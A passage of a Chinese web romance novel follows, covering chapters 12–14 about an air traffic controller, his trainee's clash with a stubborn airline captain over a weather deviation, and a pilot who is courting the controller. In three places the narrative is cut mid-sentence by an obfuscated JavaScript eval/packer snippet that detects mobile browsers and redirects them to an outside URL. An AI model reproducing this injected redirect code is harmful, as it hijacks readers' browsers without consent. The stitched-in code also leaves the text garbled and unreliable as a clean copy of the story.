林序川沉默着把脸埋在他怀里,他没说话,但抬手回抱住了他,也算是默认了。 那就当朋友吧……他们以前,本来就是很要好的朋友。 如今只是让一切回到原点罢了,回到他们没有在一起的时候。 12.护短是传统 “神他妈朋友,你俩可真是人才!谁家朋友会上床的啊!” 宋觉骁回去以后,苏御安就跟掐着点似地打电话来打探消息,听他说了那个什么“朋友约定”,嗤之以鼻。 宋觉骁却不以为然,且十分理直气壮:“炮友也是朋友的一种。” “炮个屁的友!”苏御安不屑地嘲讽他,“我就不信,你俩现在这个情况,他还能再让你上一次?” 宋觉骁:“…………” 确实不行。 “那不然你说怎么办?以他现在对我的抵触程度,我连靠近他都难!” 林序川现在满脑子都想着怎么拒绝他远离他,怎么跟他撇清关系。兔子急了还咬人呢,何况林序川这只小刺猬,满身的刺就等着扎他。 能让他松口不拒绝他的靠近,已经是他给出的最大让步了。 “啧……也是,”苏御安一想到这俩人的脾气,心里暗暗吐槽,一个拧巴一个倔驴,都是半斤八两的货色,“得亏你不要脸!” 宋觉骁翻了个白眼,“滚!” - 五一的最后一天假期,宋觉骁排了飞国际线,上午九点的飞机加机组去北京,然后下午两点半的航班飞伦敦,得到国内时间的后天早上才回,正好那天林序川应该是前一天的夜班还没下班。 “飞伦敦?”林序川喝了口粥,抬头看他,“你双证啊?” 五一那天接到他的时候宋觉骁还是飞的737,737是中短程客机,飞不了远程国际线,他之前飞的777倒是可以。 宋觉骁看了他一眼,那眼神好像是在问:“你怎么知道我双证?” 林序川反应过来,连忙解释:“那个……之前看纪录片的时候,你在国外飞的不是777嘛。” 宋觉骁收回目光应了一声,给他剥了个鸡蛋放进他碗里,语气不咸不淡道:“回国那会想着得找人,不能总飞国际线,所以就改装了一下。也没想到,一来就碰到了。” 林序川:“…………” 啧,多余问! 找人……你不如直接报我身份证得了呗! 不过林序川很好奇,当初听说他是改装完就换基地了。所以,这人是怎么知道他在虞城,又怎么就那么正好买到了他楼下的房子? 宋觉骁面不改色地吃东西,对上林序川疑问的眼神,眯了眯眼,“快吃饭,一会你上班要迟到了。” 林序川:“……哦!” 算了,还是别问了,省得他一会又语出惊人。 吃过饭林序川就上班去了,在管制中心楼下停车场遇到了卢希然跟于诗涵。 于诗涵是江宁的徒弟,刚放单不久,年纪上跟卢希然差不多,两个小姑娘已经迅速处成了好闺蜜。 “呦,买新车了?”林序川转着车钥匙踱过去,打量着卢希然那辆刚买的小米su7,“可以啊,小米都给你买上了,怎么没买小金标啊?” “嘿嘿,我姑姑给我买的!便宜点的好,贵了养不起。” 刚开始那会卢希然看林序川的工作状态,还以为他是个很不好说话的师父,但后来发现他也就是工作的时候比较严肃,平常私下里一副不着调的模样,但人很好相处,后来就不怵他了。 这会也是,一副等夸奖的模样看着林序川问:“这个颜色怎么样,是不是很炫酷?” 璀璨洋红,没记错的话,这颜色好像是几款车漆里最贵的。洋红底色配细闪的红色珠光,就光那个亮眼的红色就已经万众瞩目了。 林序川一挑眉,给她竖了个大拇指,“你以后就是管制中心最靓的仔了!” “那是!” 相比起卢希然的外向,于诗涵就是比较内向的性子,从下车跟林序川打了个招呼之后,就一直没说话。 三个人一道往里走,林序川回头问了一句,“你们俩怎么一起来的?” 卢希然直接挽着于诗涵的胳膊,“新车不得带我涵姐坐坐嘛!” 于诗涵一脸无奈地笑了笑,他们俩家住的比较近,原先她上下班基本都是靠公共交通,今天一早接到卢希然的电话说要带她坐她的新车,她那会都已经快到地铁站了,只好又出来等她来接。 想起一早上的波折,于诗涵默默吐槽,“嗯,是……等你来接我还迷了路。” 林序川:“?” 卢希然赶紧赔笑,“意外意外!” 三人进了电梯,门刚要关上,就听外面大喊,“等一下!” 林序川伸手按住了开门键,就见程瑜急急忙忙跑进来,吓了他一跳,“祖宗,你可慢点吧!” 程瑜也是虞城机场的进近管制,今年年后刚结了婚,上个月才查出的怀孕。由于程瑜老公是王珩宇的亲哥,王总给虞城建设投资了不少钱,去年还给虞城机场投资了新工程。按辈分算起来,连江宁都得喊程瑜叫“嫂子”。 因此,不论哪方面看,她现在都是他们管制中心的重点保护对象。 而出于人文关怀,管制中心付主任特批她孕期可以不上夜班,依然遵守上二休二的轮班制度。 “没事没事,跑两步不至于。”程瑜一摆手,一进来就挨个打了招呼,回头又好奇地问:“外头那辆小米是谁的?好家伙,那颜色够靓的呀!” 卢希然默默探头伸手,“嘿嘿,瑜姐,那是我的!” “呦,可以啊!改天带我坐坐?” “好呀好呀!” …… 五一假期的最后一天,又赶上是周一,虽然现在进了五月,但这两天的天气都不怎么好,气温也是反反复复忽高忽低。今天更是离谱到整个虞城机场零散的几片天气全在林序川的扇区里,就是传说中的“局部有雨”,所以进他扇区的航班几乎都在跟他请求绕天气。 林序川坐了一个早高峰,指令下得口干舌燥,到两小时后轮班的时候才换了小徒弟卢希然坐席,他就搬了张凳子坐在卢希然身边看她指挥。 “南方6477,航向070,高度尽快通过57,左边有穿越。” “国航1552,联系进近121.3,听他指挥,再见。” “AFR112,Climb and maintain 5700 meters。” (法航112,上到5700米保持。) …… 卢希然还没来得及指挥几架,请求绕天气的就来了。 “进近你好,南方6477,我能先转个060吗?” “南方6477……”卢希然盯着面前的雷达屏幕皱眉,预估距离可能不太够,但又不太确定,犹犹豫豫地回头看了眼林序川,但林序川只是看着她一挑眉,一句话也没说。卢希然只能硬着头皮继续指挥,“南方6477,你先保持070航向吧。” 机组像是不死心又问了一遍,“啊,是不能转吗?” “先保持航向下高度吧,有个穿越,过了再说。” “行吧……保持当前航向,南方6477。” 这个还算好说话的,卢希然呼了口气,刚要开口指挥下一架,耳机里传来一阵杂音,隐约听到了一个航班号,但这杂音持续了不过三四秒就消失了。 无线电通讯的原则是同一个频率内同一时间只能有一个单位发话,不论是管制还是机组,如果有大于一个单位的无线电同时发话,那就会互相干扰,也就是此刻卢希然听到的杂音。 但她只听到了最后一个航班号,另一个机组的话应该是被无线电干扰卡掉了。 她皱了皱眉,只能先处理刚刚听到航班号的机组,是一架出港刚进入扇区的飞机,“深圳9422,虞城进近雷达识别了,高度上到2400米,修正海压1010,航向……先飞330吧。” “航向330,高度上24,修正海压1010,深圳9422。” 指挥完这个,刚刚还有一个卡频的,但又不知道是谁,卢希然只能问了一句,“刚刚还有哪位发话的吗?干扰了没听到,麻烦重复一下。” 听她问这句话,林序川坐在她身后一挑眉,表情有几分赞许。 像这种卡麦的情况时有发生,特别是忙的时候。管制员指挥的指令对于飞行员的操作尤为重要,像现在这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427312|184594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情况,多一遍询问,就多一份安全保证。 意识不错,值得表扬。 …… 尽管这会已经过了早高峰时段,但扇区里进出港的飞机依然很多。再加上扇区里堆积的几片天气迟迟没有消散离开的意思。指挥了一会之后,卢希然逐渐有点手忙脚乱,指令没错,但却在频频更正,依然会影响进度。 林序川皱眉跟她说了句话,“忙不过来就让他们减速或者盘旋,再不行就去边上转圈,注意好安全间隔,调大一点留点裕度。” 安全间隔是最基础也是最重要的,再是手忙脚乱,都不能忘了这一点! 卢希然点了点头,继续指挥。 半个小时后。 “国航8263,虞城进近雷达识别了,高度下……先下42吧,保持当前航向。” “进近你好,我申请向右偏航,国航8263。” 卢希然也是没想到,这架国航的飞机才刚进她扇区就要求偏航。虽然进港的航线上确实是有天气影响,但也没有影响这么早的,前面的飞机也都是先飞了一段之后才偏航绕天气的。 但对面机组的语气不是很好,卢希然愣了一下,只能耐着性子说:“国航8263,稍等一会再偏吧,你前面有对向出港的飞机冲突。你先下高度,我一会再指挥你偏航可以吗?” 因为有冲突,机组第一时间确实是按指令下了高度,但几乎是刚下降到指定高度,他那偏航的要求就又来了。 卢希然给他解释了这个航向没有问题,前面的飞机都是这么飞的,可那人不听,态度十分强硬,“要么你让我上到前机的高度,我可以跟着他绕,现在这个高度我绕不来,要么你让我偏航。” 机组这话说完,卢希然还没来得及开口,又有两个机组同时发话,耳机里传来的杂音让她那脑子都快乱成一团了,一时都不知道该先管哪一个。 “稍等,一个个来!”卢希然定了定神,快速平复了情绪继续开口,“国航8263,我不是不让你偏,你先等一会,先按现在的飞,你前面的飞机跟你不过几分钟,都是这么飞的,没有问题的。” 但那架国航的主打就是一个油盐不进,这次更过分,直接质问她,“我说了,我飞不了!你不让我换高度又不让我偏航,我一会绕进天气了你能负责吗?” 一时间,卢希然真是委屈极了——这破班怎么什么人都有啊! 别人能飞就你不能飞呗!偏偏偏,你干脆自己出去单干算了! 啊啊啊啊啊——气死了! 可惜,她敢怒不敢言,顶多只敢在心里蛐蛐,人家那态度比她可凶多了。 但是,她忘了她有个暴脾气的师父! 林序川直接抢了她的话筒,半点没跟对面客气,语气格外严肃,“国航8263,保持当前航向、速度、高度继续进近!偏航有冲突,其他高度层也没有空位给你,有异议的话你可以提,我会记录做特殊情况处理。你一定要偏航的话,我可以指挥你出去等着,有空了再安排你归航,等不了的话——你报个PAN-PAN吧。” 他刚刚全程都在卢希然身后看着,虽然她有点紧张,但指令都没有下错。本来天气不好机组想早点落地提要求也是可以理解的,好歹人家提要求还会解释一下理由,毕竟大家都是工作,相互理解才能互相配合嘛。 可眼下这国航的机组不仅不给理由,还非要特立独行没事找事,既然不是过错方,他才不惯着对面。 卢希然看得目瞪口呆,委屈都忘了——不愧是师父! 报了“PAN-PAN”那就相当于手持作弊代码,那就是他想怎么飞就怎么飞。可如果不是特殊情况谎报“PAN-PAN”,除非他能找到合理的理由解释,不然后果更严重。 林序川话音刚落,江宁进来了,就听见他最后那句喊人家报“PAN-PAN”的话,便好奇问了一嘴。 一旁的程瑜给他解释了一下,江宁沉着脸直接就是一句,“不满意让他落地打电话找我。” 程瑜憋着笑暗自感慨——果然,护短是他们管制中心的传统! 13.师父的责任 中午轮休吃饭的时候,卢希然捧着手机,饭都顾不得吃,手指翻飞地打字跟她那个在国航的飞行员姑姑吐槽。 本来一早的好心情,都被那个国航的折腾没了,她是越想越委屈,越想越生气,同时也怕是因为自己指挥的问题导致的,焦虑地饭都吃不下了。 于诗涵劝了她两句,“放宽心,没事的,要真是你指挥有问题,你师父肯定一早就掐你话筒了。” “掐话筒也太……”卢希然嘀咕了一句,神色有点古怪。 虽然可以理解,但这种事怎么想都觉得丢人。 看她表情大约也猜到她在想什么,于诗涵就拿自己举例,“我见习那会就被我师父掐过话筒,按他的意思,咱们机场本身客流量就很大,容不得一点差错,但凡有可能出现的错误,都得被扼杀在摇篮里。” 卢希然一听还挺震惊,她刚认识于诗涵的时候觉得她人软软糯糯的特别好说话,但是头一次看到她指挥,又让她想起了那句“人不可貌相”的话。而且,她师父可是江宁江主任,那可是虞城机场管制中心出了名的难搞。 卢希然小心翼翼地问:“江主任当时骂你了吗?” 于诗涵扒了两口饭,摇了摇头,“那倒没有。” 卢希然一看她摇头,原本还松了口气,结果下一句听见对面程瑜幽幽道:“江哥不骂人的时候,才是最可怕的!” 于诗涵微笑转头看着她,语气十分淡然道:“那天我是因为间隔问题,雷雨夜忘了给后机调速,当时飞机又多,等我发现的时候,我师父已经把间隔调完了。他掐我话筒那一刻,我甚至不知道我错在哪。” “嘶——”卢希然不由倒吸一口凉气。 试想这事要是换在她自己身上——那真的很恐怖了! 于诗涵:“至今我都记忆犹新,那是我师父第一次掐我的麦。我记得那天后来还有压话筒的,30多秒呢!” 卢希然:“啊?” 程瑜问:“诶,少爷跟江哥第一天对上,是不是也是那次?” 卢希然:“谁?江主任对象?” “嗯,我师娘。”于诗涵点头,“他俩属于不打不相识。” …… 三个女孩子八卦了几句,气氛逐渐也没那么沉闷了。 但卢希然没一会又戳着餐盘开始唉声叹气,一脸心事重重的模样,“我下席那会我师父也没骂我……他跟江主任是师兄弟,会不会——” “不会的,放心吧。”程瑜喝了口汤,正好也吃饱了,就放了筷子,曲指扣了扣桌面,“你啊就安心吃饭,一会回去呢好好上班。你师父这个人虽然我不了解,但我了解江哥啊!记住一句话,只要不是原则性错误,我们管制中心的传统就是——护短!” 卢希然皱着眉,满脸忧心地看于诗涵,后者冲她肯定地点了点头。 程瑜又道:“再者说了,他是你师父,既然他在给你盯席,他就得为你的指挥负责。不用怕给他惹麻烦,就算真的有,那也是他作为你师父该担着的责任!” 卢希然抿唇,道理她都懂,可心里还是不太舒坦。 “你俩慢慢吃,我回去眯一会。”程瑜也没再多说什么,端着餐盘就先走了,“现在不行了,有点嗜睡。” 等程瑜走了,于诗涵安慰地拍了拍身边的卢希然,“快吃饭吧,别多想了,没事的,我刚还听见我师父说要去投诉呢。” “投、投诉机组?”卢希然有些没反应过来。 “嗯哼,”于诗涵微微一笑,小声跟她八卦道:“他跟付主任学的,付主任以前也是管进近的,遇到跟今天这种一样的情况,都不等人落地,投诉电话就已经打了。” 卢希然目瞪口呆地咬着筷子:“…………” 竟、竟是如此吗? …… 吃完饭回休息室遇到下席轮休的林序川,卢希然还挺愧疚,“师父——” 林序川正应付宋觉骁呢,出门在外还罗里吧嗦,他就值班晚去了一会食堂,手机又被他刷屏了。抬头看见是卢希然就收了手机,还挺疑惑,“咋了这是?” “早上的事……对不起啊。” “你对不起什么?”林序川皱了皱眉,平常看她大大咧咧,倒是没想到她心思这么重。看这样子,应该是担忧有一阵了。 林序川笑着问她,“你是怕给我惹麻烦?还是怕你刚刚指挥有问题?” “都、都有吧……”卢希然低着头,声音都变小了。 还挺诚实。 林序川从兜里掏了盒薄荷糖,拿了一颗往嘴里塞,伸手问她,“来一颗?” 卢希然抬头有些茫然地看他,林序川一挑眉,拽着她纠结着扣在一起的手,摊开手掌给她倒了一颗,这才慢悠悠道:“我看着你呢,你怕什么?我是你师父,有错我会帮你纠正,有问题也有我帮你担着。就算我担不住,那不还有江主任嘛!” 卢希然看看手里的糖,又抬头看他,正感动呢,又听见林序川下一句,“哦!不过你们江主任的话有个前提。” 卢希然:“?” 林序川:“得保证不是你的问题,不然他比任何人都冷血无情!” 卢希然苦着张脸看着他:“……” 谢谢,有被安慰到。 林序川手机在口袋里不停震动,他皱着眉掏出来看了一眼,有点无语,但抬头看卢希然的时候,脸上的表情还是恢复如初了,“虞城机场那么大,进出港的流量本身就不小,今天扇区里还有天气,忙一点很正常。但你指挥得有你自己的节奏,不能被别人插话就把你的节奏带跑偏了,越是忙的时候越是不能乱,你得明白你下的每一条指令是为了什么。” 卢希然乖乖点头。 林序川又道:“不管你是让他们盘旋等待还是减速,甚至偏航机动,时刻牢记一点,安全间隔是最重要的!你所有的指令下达,都是为了这一点服务。只要你的指令没下错,理由站得住脚,他们不服气就让他们投诉去。大家都是上班的牛马,主打一个互相尊重互相理解,人家不理解你,何必惯着他?” 卢希然受教,抿唇猛一阵点头。 林序川见她那一副“学到了”的表情,有点无奈地站起身,“没有人是生来就会做什么的,我们这行是个细致活儿,最忌心浮气躁。” 听见林序川说“心浮气躁”的时候,卢希然还愣了一下——也不知道是谁刚刚直接掐麦就把人家给怼了,她好歹还耐着性子准备给人解释呢。 林序川见她神色古怪不知道在想什么,直接抬手不轻不重地弹了下她脑门,“少想些有的没的,有这功夫,你还不如多听两遍900句。” 挨了打的小姑娘一手还拿着那颗薄荷糖,另一只手捂着脑门,瘪着嘴,“唔……” 不愧是她师父,听900句可还行? “哦对了,”林序川临走前回头夸了她一句,“刚刚卡麦时候的意识很好,值得表扬!” 卢希然愣了一下,回过神的时候,林序川已经走了。 反应过来的卢希然火速掏出手机,手指翻飞地又开始发信息吐槽。 - 远在千里之外的北京首都机场。 “怎么了这是……表情一个比一个糟?”邹珝扒拉着身边的齐一鸣,小声八卦,“咱俩一会不会挨批吧?” 齐一鸣笑了笑,“我跟月姐飞,应该不至于。” “我跟这宋机长也没搭过班啊,今天头一回。”邹珝小声嘀咕了一句,回头又问他:“你不是改737了嘛,怎么又飞上长途了?” “没办法,这不得养老婆孩子挣奶粉钱嘛。”齐一鸣微微一笑,“长途钱多啊。” 邹珝:“……” 行,你赢了! 宋觉骁盯着手机,眉头越皱越紧,这会已经快十二点了,他刚刚给林序川发信息,结果这人到现在还没吃饭! 多说了他两句,直接信息都不回了。 而他对面的卢明月,国航女机长,也就是卢希然那个在国航的飞行员姑姑。 长途飞行配备双机组,也就是两个机长两个副驾。这次的航程是从北京飞伦敦,八千多公里的航程,飞行时间近十一个小时。 宋觉骁和卢明月就是本次航班的两位机长,邹珝和齐一鸣分别是他们的副驾驶。 刚刚在忙没看手机,这会吃饭空了才看到小侄女给她发的信息,卢明月越看越气。她生的晚,跟小侄女不过差一轮,向来关系好。 见不得小侄女受委屈,还是他们国航的,转头就要去找人问那班是谁飞的,暴脾气上来恨不得去给人骂一顿。 邹珝凑过去打听,“月姐,你这一脸生气的,谁惹你了?” “我侄女,说刚刚上午指挥的时候咱国航的有个机长刁难她……”卢明月一脸气愤绘声绘色地把卢希然跟她说的事复述了一遍,越说越生气,“这丢人的玩意!别人能飞就他不能呗?什么毛病惯的他,口气那么大!还‘你能负责吗’,用得着说这话?” 齐一鸣翻着手机,“我看群里说好像是蔡老黑,又被人管制怼了,喊他挂PA ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16432860|184594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' N-PAN。” 卢明月黑着脸点头,她托人问到了。 邹珝一听,“是他的话,那就合理了。” 宋觉骁手机上林序川已经回信说他去吃饭了,他就干脆收了手机听他们讲话,顺便好奇打听了一下,“蔡老黑是……蔡明谦?” 邹珝杵着筷子回头看他,“宋机长也认识?” 宋觉骁:“我改装完第一天就是跟他飞的。” 那位蔡机长是国航教yuan级别的老机长,技术是好的,也是双证。宋觉骁刚改装完有一段见习期,跟他飞过两次。 一听这话,三个人都有些惊讶,宋觉骁还挺茫然,“怎么了?” 邹珝“嘿”了一声,一脸看戏地表情问:“延误了没?” 宋觉骁想了想,摇头,“那天好像挺顺利的。” “顺利?”邹珝一听,眼睛都瞪大了,“你跟他飞没延误?他可是我们国航出了名的黑鬼,但凡跟他飞的,十次有六次延误,三次备降,剩下一次就是老天开眼!” 宋觉骁:“…………” 这么夸张的嘛? 宋觉骁犹豫了一下,没好意思说,总共他跟人家飞过两次,有一次甚至还是提前到的。 邹珝回头又问卢明月,“那小侄女后来怎么样了?” 卢明月:“说是她师父给她出头了,他们管制中心的江主任还打电话去投诉了。” 齐一鸣闻言,评价了一句,“他们管制中心向来护短。” “有所耳闻。”邹珝又问,“月姐,小侄女师父是谁啊?” “听她说起过,好像是个新来的,”卢明月想了想,实在没想起来,“姓……林?具体叫什么我倒是忘了。” 齐一鸣:“林序川。” 宋觉骁:“林序川?” 两人几乎一同开的口,说完还互看了一眼,宋觉骁微微皱眉,齐一鸣有少许疑惑。 邹珝那眼神在两人中间转悠一圈,八卦群他也没少混,“你俩都认识啊?这不科学……我怎么不认识?” 自我质疑完,他又推了推身边的齐一鸣,“你怎么认识的?” 齐一鸣:“他是江宁师弟,好像是上个月中吧,说是给他接风,我那天刚好到虞城,寻思找少爷蹭个饭,就这么巧遇上了咯。” 邹珝:“啊?前段时间群里很出名那个江阎王的师弟就是他啊?” 齐一鸣一挑眉,“嗯哼。” 林序川这么出名,完全是因为那会江宁见人就介绍林序川,势必要加上一句“这是我师弟。” 齐一鸣跟王珩宇是从小一起长大的发小,因为这个事儿,少爷曾一度吃醋还跟他抱怨过。 只不过……齐一鸣说完,视线看向宋觉骁,总觉得这位宋机长在听到他说出林序川名字的那一刻,看他的眼神有片刻敌意。但这会听他解释完,好像又没有了。 真不知道是不是他的错觉。 “宋机长也认识?” 宋觉骁低头轻咳了一声,语气听不出什么波澜,“我住他楼下,五一那天王机长攒的局吃过一顿饭,那天起落架故障是他指挥的我。” 他倒是没敢在外说他跟林序川的关系。 齐一鸣眯了眯眼,“买王珩宇房子的人……是你啊?” 这世界还真是小。 邹珝听的有点晕,“不是,给我听迷糊了,整了半天都认识啊?” “这还听不懂?”齐一鸣直接抬手勾住邹珝的脖子,“那你这语文阅读理解是真差劲,上学时候语文不及格吧?” “放屁!老子高考语文120呢!” “呦呦呦,厉害厉害。” “你踏马——” “诶,不是——”卢明月一听他俩说着话题不知道偏到了哪里,赶紧喊停,“我是想问那个林……林什么的,人怎么样?” 两人停了手,齐一鸣道:“就吃了一顿饭,我跟他也不熟。但他跟江宁关系很好,感觉应该挺好相处的。” 听他这评价,卢明月又不放心地回头看宋觉骁,“宋机长,你觉得呢?” “就……”宋觉骁愣了一下,一时还真不知道该怎么说,只能模棱两可地点了点头,“我也没跟他遇到过几次。” 没得到什么有用的信息,卢明月只能遗憾而归。 见她那满脸失望的模样,宋觉骁有点骗人后的负罪感,分明几分钟前他还在因为林序川没去吃饭而生闷气。 啧……算了,他俩现在的关系,见不得人。 见光死! 14.两天不见了 下午两点,一架飞往伦敦的国航波音777客机,准时从北京首都机场起飞。 近十一个小时后,安全落地希斯罗机场。 从飞机上下来,上了机组车回酒店的路上,齐一鸣在给他老婆打电话,报备刚落地,声音温柔地哄着对方快去睡觉。 宋觉骁就坐在他前面,听着身后亲昵的语调,心下一动,干脆掏了手机出来也给林序川发了条【我落地了】的信息。 但他发完才想起来时差问题,他们落地英国是当地时间下午六点,但这会国内应该已经是第二天凌晨了。 反应过来的宋觉骁当即暗骂自己矫情,还犹豫要不要撤回的时候,林序川竟然回了。 【好。】 先开头的是他,这会不知道回什么的也是他。 输入栏里的字打了删,删了打,犹豫了半天就发了句,【你还没睡?】 林序川:【本来睡了。】 宋觉骁:【?】 然后,林序川像是找到了吐槽口,噼里啪啦的连发了好几条信息—— 【早上我徒弟指挥的时候遇到个你们国航的机长,非要偏航。】 【那会扇区里有天气,本来就忙得很,大家都在绕飞。】 【都跟他说了别人都是那么飞的,偏不听,口气大的很。】 【他还问绕进天气我负责吗?什么身份啊还敢让我负责!】 【我那是负责你一个嘛!天上那么多飞机都要我负责!】 【别人都能听指挥,就他不行呗?就他是个宝宝,就他要特殊关照呗?】 【我本来躺下了,越想越气,睡不着又爬了起来。】 【你们皇家航空的真气人!】 宋觉骁:“……”手机在手里震得他手都麻了。 都是早上的事了还能让他气这么久,这脾气还是一点没变。 就是这话说的,多少有点殃及池鱼了。 宋觉骁:【跟我一班的另一个机长,就是你徒弟的姑姑。】 林序川:【这么巧啊?】 宋觉骁:【人家已经痛骂过了。】 宋觉骁:【所以你快去睡觉。】 林序川:【那不一样!】 林序川:【那是我徒弟!】 林序川:【而且我明天晚班。】 宋觉骁:【我知道。】 宋觉骁:【所以你快去睡觉!】 林序川:【你啰嗦了.jpg】 林序川:【去去去!睡睡睡!】 林序川:【哼,就不该理你!】 宋觉骁差点没忍住笑出声,欲盖弥彰地低头轻咳了两声——他都能想象到林序川在那头是个什么表情。 嗯,气鼓鼓的小刺猬,一定很可爱! 也不知道林序川是真的去睡了还是假装去睡了,反正后来也没回信息,宋觉骁就看着林序川发他的那张表情包默默摇头。 真是一点也不让人省心。 …… 后来一天他们俩因为时差问题,也没说上几句话。 宋觉骁回程那天,虞城一大早就开始下大雨,最近天气十分不稳定,春末夏初的天气跟坐了过山车一样忽高忽低。虽然还没到梅雨季,但虞城地处江南,本就雨水多。 今天这雨面积广,持续时间又长,虞城周边的几个备降场也都深受不时的阵雨或雷阵雨影响。 虞城本场强降雨导致航班大面积延误,天上落地的飞机也排了一长串,管制中心一大早就忙得热火朝天。 好不容易挨到夜班下班,卢希然勾着她涵姐的胳膊往外走,一边还评价:“那这国航多少有点选择困难症。” 于诗涵笑了笑,“这大雨天也挺不容易的,他是六点前进的扇区,我换班前他已经在我扇区里了,我下班前最后一架飞机,刚下去。” 姐妹俩出来一路上在说刚刚于诗涵指挥的一架航班,据说刚开始进近的时候因为虞城机场大雨落不了地,说要去备降,结果原定的备降场也因为天气影响让他等半个小时再去。 过了一会又说换了个备降场,但刚转出去又接到备降场通知满员不接收了,就只能又灰溜溜的转回来。 然后过了没一会又说换第三个备降场,结果去转了一圈也说落不了地,最后又转了回来。 就这么来来回回了好几趟,最后还是在虞城排队等落地。 “啊?那岂不是延误了两个多小时?” “今天这天气,延误那不是最少一小时起步嘛?况且他来回进出了两次呢。” “他们那调度也是折腾人,这种天周边肯定都是人满为患,还不如在咱们这慢慢等呢。万一有个什么空隙,那不就下去了嘛。” “人家有人家的规划,要是备降场能尽早落地,那肯定是要去备降的。” “啧……也是。” …… 两个小姑娘在前面嘀嘀咕咕,林序川跟江宁跟在他们身后,江宁正低头在跟王珩宇发信息,林序川则是盯着手机上的天气预报皱眉。 宋觉骁好像是今天回来,他没接到他,也不知道他这会落地了没有。 那天半夜落地还给他报备了,后来起飞回程的时候也给他发了信息,他这会还没收到宋觉骁发落地的消息,看着今天这大风大雨的天气,突然有点不太安心。 几个人出了管制大楼就看到了拿着伞等在门口的王珩宇,听见声音转头见到江宁就笑着跑了过来,“江哥——” 江宁看见他好像有些惊讶,但表情还是很温柔的,连声音都柔软了几分,“你怎么来了?不是说今天早班吗?” “你用这个,这把伞大,你带那个小,一会淋湿了。”王珩宇把手里的另一把伞递给他,随后才解释了一句,“广州也是大暴雨,航班取消了,我备晚班。出来的时候看时间差不多,就让人送我过来了。” 江宁应了一声,又问他吃饭没有,王珩宇点头说吃过了。 卢希然在一旁看得目瞪口呆,“???” 这还是她认识那个不苟言笑生人勿近的江主任吗? 于诗涵给了她个见怪不怪的眼神,扭头喊了句“师娘”,王珩宇这才得了空跟他们几个都打了声招呼。 林序川在一旁静静看着,想以前什么时候见过江宁这副温柔的模样,王珩宇对他温柔体贴,他们互相看对方的眼神里都充满爱意。他也不是头一次看到王珩宇来接江宁了,可每次看到,都会忍不住感叹他们俩的感情好。 恋爱的酸臭味……真是该死的令人羡慕! 江宁回头跟他们道了别就跟着王珩宇走了,林序川叹了口气,也撑着伞走了。 徒留门口的两个小姑娘,卢希然是第一次见到王珩宇本人,往常只在管制中心众人口中听说过这位“东航王少爷”的光辉事迹。 而且以前她也只觉得江主任很凶,虽然基本见不到他训人,但他那张尽管很帅却总是冷若冰霜不苟言笑的脸,就足够让人发怵了。 所以于诗涵跟程瑜八卦江宁和王珩宇有多恩爱的时候,她是真的想象不出来。 今天可算是亲眼所见了,卢希然扒着于诗涵的胳膊,一副激动的模样,“那个就是江主任老公?卧槽……好帅!他俩好恩爱!好般配啊!” 她承认!她对江主任的认识还是太浅薄了,原来他们那个出了名难搞的江主任也有这么温柔的一面,只不过这份温柔也分人,是他们不配罢了。 “那是!”于诗涵那表情甚至还有两分骄傲,“他们俩,绝配!” 卢希然猛一阵点头,“顶配!天仙配!” …… - 上了一晚上夜班本来就困,一大早还吃了一大碗狗粮,再加上这沉闷的阴雨气氛,林序川上了车看了眼手机还是没消息,皱了皱眉,直接一甩手丢到了副驾驶。 想他干什么!眼不见心不烦! 他这辈子,也只配 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437026|184594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 羡慕羡慕别人的爱情了。 驱车回家的路上,车里开着随机播放的音乐,正好是一首《下雨天》。 [下雨天了怎么办我好想你 不敢打给你我找不到原因] 林序川:“……” 这歌词——真是该死的应景。 也是没想到,有一天能被两句歌词整破防了。 林序川低头瞥了眼车载屏幕,直接伸手把歌关了。 阴雨天似乎莫名其妙就能让人心情变糟,林序川沉着张脸回家,却不想电梯门打开的一刻,抬头就看到了拉着飞行箱等在他家门口的宋觉骁。 飞行箱的拉杆上还搭着他那件黑色的飞行员制服外套,短袖白衬衫配黑色西裤和皮鞋,大长腿交叠着随意地倚在他家门口的墙边。听见电梯动静抬头见到他的那一刻,那张曾无数次让他心动的脸上扬起一个浅浅的笑意,微弯的眉眼配着那颗眼角的泪痣在此刻让他显得格外温柔。 窗外雨声淅沥,远处密布的阴云之中却好似漏下了那么一缕光,耀眼又瞩目。 林序川下意识朝他走过去,却在几步之遥的位置又突然清醒,步子一顿,“你——” 他想说“你回来了”,可又觉得不对。那说“你怎么在这”,会不会显得太冷漠? 那该说什么?问他落地为什么没给他发信息?可他们什么关系要给他报备呢? 见他看着自己皱眉出神的模样,宋觉骁直接起身迈步朝他走了过去,甚至没等林序川反应,直接就伸手把人拽进了怀里。 